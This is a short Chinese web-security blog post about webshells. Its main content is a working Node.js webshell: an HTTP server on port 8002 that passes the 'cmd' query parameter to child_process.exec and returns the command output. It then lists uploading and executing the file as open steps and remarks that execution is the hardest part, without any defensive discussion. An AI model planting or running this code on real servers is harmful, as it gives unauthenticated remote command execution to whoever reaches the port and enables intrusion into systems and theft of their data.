likes
comments
collection
share

【WEB安全】webshell

作者站长头像
站长
· 阅读数 48
  • webshell

    require('http').createServer(function (req, res) {
      res.writeHead(200, {"Content-Type": "text/plain"});
      try {
          require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {
              res.end(s);
          });
      } catch (err) {
          console.log(err)
          res.end(err.toString())
      }
    }).listen(8002)
  • 如何上传webshell文件
  • 如何执行webshell文件

我觉得第二点是最麻烦的

参考文章